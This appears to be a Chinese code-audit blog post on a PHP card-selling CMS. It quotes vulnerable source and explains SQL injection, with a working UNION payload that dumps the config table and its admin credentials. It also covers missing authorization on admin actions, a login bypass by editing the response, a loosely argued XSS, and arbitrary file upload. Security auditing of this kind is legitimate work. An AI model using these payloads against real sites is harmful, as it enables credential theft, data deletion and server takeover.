天天看點

某發夾cms的審計

注意:代碼審計的過程全寫在注釋裡面

/ajax.php檔案 存在SQL注入

<?php
include 'ayangw/common.php';  //這裡看到包含了common.php檔案 主要就是對于配置的加載 裡面沒有封裝任何過濾函數
@header('Content-Type: application/json; charset=UTF-8');

if(empty($_GET['act'])){   // 這裡我們發現也沒有封裝session類 僅僅是判斷是否傳參就可以造成通路  那麼可以直接繞過
    exit("非法通路!");
}else{
    $act=$_GET['act'];
}

switch ($act){   //一個switch的分支  一共有4個不同的功能 我們就挑一個功能  selgo
    //異步擷取商品
    case 'selgo':
        $select = "<option>請選擇商品</option>";
        $tpID = $_POST['tyid'];  // 這裡的tyid傳參沒有過濾導緻下一行直接寫入資料庫裡面 進而導緻SQL注入
	        $sql = "select * from ayangw_goods where state =1 and tpId = ".$tpID;
        echo $sql; //列印下sql語句

        $res = $DB->query($sql);
       $i=1;
        while ($row =$DB->fetch($res)){
            $c = $DB->count("SELECT COUNT(id) from ayangw_km  where stat = 0 and gid =".$row['id']);
          $select.="<option id='".$row['id']."' value='".$row['gName']."'kc='".$c."'  title='".$row['price']."' alt = '".$row['gInfo']."'>".$row['gName']."</option>";
                  
        }
       exit('{"code":0,"msg":"'.$select.'"}');
        break; 
     //建立訂單
     case 'create':
         $out_trade_no = $_POST['out_trade_no'];
         $gid = $_POST['gid'];
         $money = $_POST['money'];
         $rel = $_POST['rel'];
         $type = $_POST['type'];
         $sql = "insert into ayangw_order(out_trade_no,gid,money,rel,benTime,type) 
         values('{$out_trade_no}',{$gid},{$money},'{$rel}',now(),'{$type}')";
         $b = $DB->query($sql);
         if($b > 0){
             exit('{"code":0,"msg":"ok"}');
         }else{
             exit('{"code":-1,"msg":"no"}');
         }
         ;
     
     break;
     //查詢卡密庫存
     case 'selKm':
         $gid = $_POST['gid'];
         $sql = "select * from ayangw_km where stat = 0 and gid = ".$gid;
         $res =$DB->query($sql);
         if($row =  $DB->fetch($res)){
             exit('{"code":0,"msg":"ok"}');
         }else{
             exit('{"code":-1,"msg":"no"}');
         }
         ;break;
     //使用者提取卡密
     case 'tqKm':
         $t = $_POST['t'];
         $sql = "select * from ayangw_km
         where out_trade_no ='{$t}' or trade_no = '{$t}' or rel = '{$t}'
         ORDER BY endTime desc
         limit 1";
        $res =$DB->query($sql);
        $ginfo = "";
        if($row =  $DB->fetch($res)){
            $sql2 = "select * from ayangw_goods where id =".$row['gid'];
            $res2 = $DB->query($sql2);
            $row2 = $DB->fetch($res2);
            $ginfo ="<tr><td id='td1'>".$row2['gName']."</td><td id='td2'>".$row['out_trade_no']."</td><td id='td3'>".$row['endTime']."</td><td id='td4'>".$row['km']."</td></tr>";
            exit('{"code":0,"msg":"'.$ginfo.'"}');
           
        }else{
            exit('{"code":-1,"msg":"無本條記錄"}');
        }
         ;break;
     

    default: 
        exit('{"code":-2,"msg":"NOT"}');
        break;
}
           

payload

POST:tyid=1 union select 1,group_concat(0x7e,ayangw_k,0x7e,ayangw_v),3,4,5,6,7 from ayangw_config

标題 /admin/ajax.js 和ajax.php 越權

/admin/ajax.php

switch ($act){    // switch 兩個分支  其實不止 我這裡就舉例了兩個 因為這裡的兩個是不同的功能 其他的都類似 
    //驗證登陸
    case 'checkLogin':
        $user = $_POST['user'];
        //echo $user;
        $pass = $_POST['pass']; 
        //echo $pass;
        if($user == $conf['admin'] && $pass == $conf['pwd']){
            exit('{"code":1,"msg":"登陸成功"}');
        }else{
            exit('{"code":0,"msg":"使用者名或密碼錯誤"}');
        }
        ;break;
        //删除訂單
    case 'delOrd': 
        $id = $_POST['id'];
        $sql = "delete from ayangw_order where id = ".$id;
        $b = $DB->query($sql);
        if($b > 0){
            exit('{"code":1,"msg":"删除成功"}');
        }else{
            exit('{"code":-1,"msg":"删除失敗"}');
        }
        ;break;
       //删除卡密
           

/admin/js/ayangw.js

//登陸驗證
	$("#login_submit").click(function(){
		
		var user = $("#user").val();
		var pass = $("#pass").val();
		
		if(user == null || pass == null || user == "" || pass == ""){
			layer.msg('使用者名和密碼不能為空!');
			return false;
		}
		var ii = layer.load(2, {shade:[0.1,'#fff']});
		$.ajax({
			type : "POST",
			url : "ajax.php?act=checkLogin",
			data : {"user":user,"pass":pass},
			dataType : 'json',
			success : function(data) {
				 layer.close(ii);
				if(data.code == 1){
					layer.msg(data.msg);
					$.cookie("user",user);
					$.cookie("pass",pass);
					$.cookie("loginInfo",$.md5($.cookie("pass")));
					window.location.href='./';
				}else{
					layer.msg(data.msg);
					return false;
				}
			},
			error:function(data){
				 layer.close(ii);
				layer.msg('系統錯誤!');
				return false;
				}
		})
	})
	
	//删除訂單
	$(".btndel").click(function(){
		if(confirm("确定要删除嗎?")==false){
			return false;
		}
		var id = $(this).attr("id");
		var ii = layer.load(2, {shade:[0.1,'#fff']});
		$.ajax({
			type : "POST",
			url : "ajax.php?act=delOrd",
			data : {"id":id},
			dataType : 'json',
			success : function(data) {
				 layer.close(ii);
				if(data.code == 1){
					layer.msg(data.msg);
					location.reload();
					
				}else{
					layer.msg(data.msg);
					return false;
				}
			},
			error:function(data){
				 layer.close(ii);
				layer.msg('系統錯誤!');
				return false;
				}
		})
	})
           

因為ajax.php裡面沒有進行是否授權的檢查是以ayangw.js 檔案裡面ajax可以直接請求背景 達到越權的目錄

$(".btndel").click(function(){
		if(confirm("确定要删除嗎?")==false){
			return false;
		}
		var id = $(this).attr("id");
		var ii = layer.load(2, {shade:[0.1,'#fff']});
		$.ajax({
			type : "POST",
			url : "ajax.php?act=delOrd",
			data : {"id":id},
			dataType : 'json',
			success : function(data) {
				 layer.close(ii);
				if(data.code == 1){
					layer.msg(data.msg);
					location.reload();
					
				}else{
					layer.msg(data.msg);
					return false;
				}
			},
			error:function(data){
				 layer.close(ii);
				layer.msg('系統錯誤!');
				return false;
				}
		})
	})
           

直接發送這樣一個ajax請求 裡面的id為賬單的id則可以達成越權的操作

同樣的以上的ayangw.js的登陸驗證的功能同樣沒有進行任何的驗證 是以我們抓包在response裡面把data.code改為1 則直接進入背景

背景XSS

前端可以重寫js的函數

下單的聯系方式

function checkLx(num){

var t=num;//這個就是我們要判斷的值了

if(isNaN(t) && t !=""){

return true;

}else{

return false;

}

}

可以達到xss的目的

背景的任意檔案上傳

($_GET['mod']=='upimg'){
	echo '<div class="panel panel-primary"><div class="panel-heading"><h3 class="panel-title">更改首頁LOGO</h3> </div><div class="panel-body">';


if($_POST['s']==1){
	$extension=explode('.',$_FILES['file']['name']);
	if (($length = count($extension)) > 1) {
		$ext = strtolower($extension[$length - 1]);
	}
	if($ext=='png'||$ext=='gif'||$ext=='jpg'||$ext=='jpeg'||$ext=='bmp')  //要是在這個範圍内 那麼$ext='png' 如果不是的話那麼就任意字尾了
		$ext='png';
		copy($_FILES['file']['tmp_name'], ROOT.'/assets/imgs/logo.'.$ext);
		echo "成功上傳檔案!<br>(可能需要清空浏覽器緩存才能看到效果)";
}
echo '<form action="set.php?mod=upimg" method="POST" enctype="multipart/form-data"><label for="file"></label><input type="file" name="file" id="file" /><input type="hidden" name="s" value="1" /><br><input type="submit" class="btn btn-primary btn-block" value="确認上傳" /></form>*請上傳3
           

直接任意檔案上傳